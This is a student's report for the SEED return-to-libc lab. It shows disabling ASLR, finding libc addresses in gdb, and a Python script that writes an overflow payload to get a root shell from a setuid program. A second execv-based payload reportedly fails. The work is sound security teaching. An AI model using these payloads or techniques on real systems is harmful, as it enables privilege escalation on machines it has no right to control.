

# CSE-343 | Return to Libc Attack Lab

Marc Soda Jr

February 22, 2022

## Contents

### Setup:

- Ran `sudo sysctl -w kernel.randomize_vaspace=0`
- Ran `sudo ln -sf /bin/zsh /bin/sh`
- Ran `export MYSHELL=/bin/sh`

## Task 1: Finding the address of libc functions:

```
seed@VM:~/.../labsetup$ make clean
rm -f *.o *.out retlib badfile
seed@VM:~/.../labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
seed@VM:~/.../labsetup$ touch badfile
seed@VM:~/.../labsetup$ gdb -q retlib
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if sys.version.info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 3:
Reading symbols from retlib...
(No debugging symbols found in retlib)
gdb-peda$ b main
Breakpoint 1 at 0x12ef
gdb-peda$ r
Starting program: /home/seed/working/lab3/labsetup/retlib
[-----registers-----]
EAX: 0xf7fb4808 --> 0xffffdad3 --> 0xffffdc38 ("SHELL=/bin/bash")
EBX: 0x0
ECX: 0xc70784da
EDX: 0xffffda64 --> 0x0
ESI: 0xf7fb2000 --> 0x1e6d6c
EDI: 0xf7fb2000 --> 0x1e6d6c
EBP: 0x0
ESP: 0xffffda3c --> 0xf7de9ee5 (<__libc_start_main+245>:      add    esp,0x10)
EIP: 0x565562ef (<main>:      endbr32)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-----code-----]
0x565562ea <foo+58>: mov     ebx,DWORD PTR [ebp-0x4]
0x565562ed <foo+61>: leave
0x565562ee <foo+62>: ret
=> 0x565562ef <main>:      endbr32
0x565562f3 <main+4>: lea     ecx,[esp+0x4]
0x565562f7 <main+8>: and     esp,0xffffffff
0x565562fa <main+11>: push    DWORD PTR [ecx-0x4]
0x565562fd <main+14>: push    ebp
[-----stack-----]
0000| 0xffffda3c --> 0xf7de9ee5 (<__libc_start_main+245>:      add    esp,0x10)
0004| 0xffffda40 --> 0x1
0008| 0xffffda44 --> 0xffffdad4 --> 0xffffdc10 ("/home/seed/working/lab3/labsetup/retlib")
0012| 0xffffda48 --> 0xffffdad3 --> 0xffffdc38 ("SHELL=/bin/bash")
0016| 0xffffda4c --> 0xffffda64 --> 0x0
0020| 0xffffda50 --> 0xf7fb2000 --> 0x1e6d6c
0024| 0xffffda54 --> 0xf7ffd000 --> 0x2bf24
0028| 0xffffda58 --> 0xffffdab8 --> 0xffffdad4 --> 0xffffdc10 ("/home/seed/working/lab3/labsetup/retlib")
[-----]
Legend: code, data, rodata, value

Breakpoint 1, 0x565562ef in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e10420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e02f80 <exit>
gdb-peda$ 
VM 1:gdb* 2:vim-
```

- Address of system: 0xf7e10420
- Address of exit: 0xf7e02f80

## Task 2: Putting the shell string in the memory:

```
seed@VM:~/../labsetup$ cat getshell.c
void main(){
    char* shell =
        getenv("MYSHELL");
    if (shell)
        printf("%x\n", (unsigned int)shell);
}
seed@VM:~/../labsetup$ gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o getsh getshell.c
getshell.c: In function 'main':
getshell.c:3:3: warning: implicit declaration of function 'getenv' [-Wimplicit-function-declaration]
   3 |     getenv("MYSHELL");
     |     ^~~~~~
getshell.c:3:3: warning: initialization of 'char *' from 'int' makes pointer from integer without a cast
getshell.c:5:3: warning: implicit declaration of function 'printf' [-Wimplicit-function-declaration]
   5 |     printf("%x\n", (unsigned int)shell);
     |     ^~~~~~
getshell.c:5:3: warning: incompatible implicit declaration of built-in function 'printf'
getshell.c:1:1: note: include '<stdio.h>' or provide a declaration of 'printf'
+++ |+#include <stdio.h>
   1 | void main(){
seed@VM:~/../labsetup$ ./getsh
ffffdc8a
seed@VM:~/../labsetup$
```

- Address of shell: 0xffffdc8a
- There are, however, some complications with this address that I will hit on later.

## Task 3: Launching the attack:

- Getting X, Y, and Z.

```
Legend: code, data, rodata, value
15      asm("movl %%ebp, %0" : "=r" (framep));
gdb-peda$ p ebp
No symbol "ebp" in current context.
gdb-peda$ p $ebp
$1 = (void *) 0xffffd618
gdb-peda$ p &buffer
$2 = (char (*)[12]) 0xffffd600
gdb-peda$ p/d 0xffffd618 - 0xffffd600
$3 = 24
gdb-peda$ 
VM 1:gdb* 2:vim-
```

- We need to know the distance between ebp and buffer to know the relative location of Y. We know the relative distance between Y and Z (system and exit) is 4 bytes and the relative distance between Z and X (exit and shell) is 4 bytes. As you can see, the distance between ebp and the buffer is 24 bytes which means system starts at 28, exit is at 32, and shell is at 36.

```
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 36
#sh_addr = 0xffffd6da # The address of "/bin/sh"
sh_addr = 0xFFFFDC8a # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf7e10420 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 32
exit_addr = 0xf7e02f80 # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
    f.write(content)
```

- All offsets and memory locations have been filled in the exploit program as stated above, however there is a problem with one of the memory locations:

```
seed@VM:~/.../labsetup$ python3 exploit.py
seed@VM:~/.../labsetup$ ./retlib
Address of input[] inside main(): 0xfffffd680
Input size: 300
Address of buffer[] inside bof(): 0xfffffd650
Frame Pointer value inside bof(): 0xfffffd668
zsh:1: no such file or directory: in/sh
seed@VM:~/.../labsetup$
```

- The error messages says that zsh cannot find 'in/sh'. We are trying to hit '/bin/sh' which means we are missing two characters. To solve this issue I subtracted 2 from the shell address (changed 0xffffdc8a to 0xffffdc88). After running it again, we get:

```
seed@VM:~/.../labsetup$ python3 exploit.py
seed@VM:~/.../labsetup$ ./retlib
Address of input[] inside main(): 0xfffffd680
Input size: 300
Address of buffer[] inside bof(): 0xfffffd650
Frame Pointer value inside bof(): 0xfffffd668
# whoami
root
# █
```

- We made it to a root shell. The attack was successful.

#### Task 4: Defeat Shell's countermeasure.

- Ran 'sudo ln -sf /bin/dash /bin/sh'
- I edited the provided code for grabbing addresses of env vars to get /bin/bash and -p



```
seed@VM:~/.../labsetup$ cat getshell.c
void main(){
    char* shell =
        getenv("MYSHELL");
    if (shell)
        printf("%x\n", (unsigned int)shell);

    char* bash =
        getenv("SHELL");
    if (shell)
        printf("%x\n", (unsigned int)bash);

    char* ploc =
        getenv("PLOC");
    if (shell)
        printf("%x\n", (unsigned int)ploc);

    char* zsh =
        getenv("ZSHH");
    if (shell)
        printf("%x\n", (unsigned int)zsh);
}
seed@VM:~/.../labsetup$ ./prtenv
ffffdc42
ffffdc30
ffffdcc9
ffffdc74
```

```
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 36
sh_addr = 0xffffdc42 # The address of "/bin/bash"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
execv = 0xf7e974b0 # The address of execv
content[Y:Y+4] = (execv).to_bytes(4,byteorder='little')

Z = 32
exit_addr = 0xf7e02f80 # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

B = 44 #these 4 bytes are the address of /bin/sh
content[B:B+4] = (sh_addr).to_bytes(4,byteorder='little')

P = 48 #these 4 bytes are the address of '-p'
p_addr = 0xffffdcc9
content[P:P+4] = (p_addr).to_bytes(4,byteorder='little')

Z4 = 52 #these 4 bytes are 0s
content[Z4:Z4+4] = bytearray(b'\x00'*4)

# Save content to a file
with open("badfile", "wb") as f:
    f.write(content)
```

- I was unable to get this to work. I am sure I added the addresses in the correct order. I believe my error is in the offset between the first arg of execv and the argv array. I am pretty sure I'm on the right track. My piazza post was not answered in time so I was unable to complete the assignment.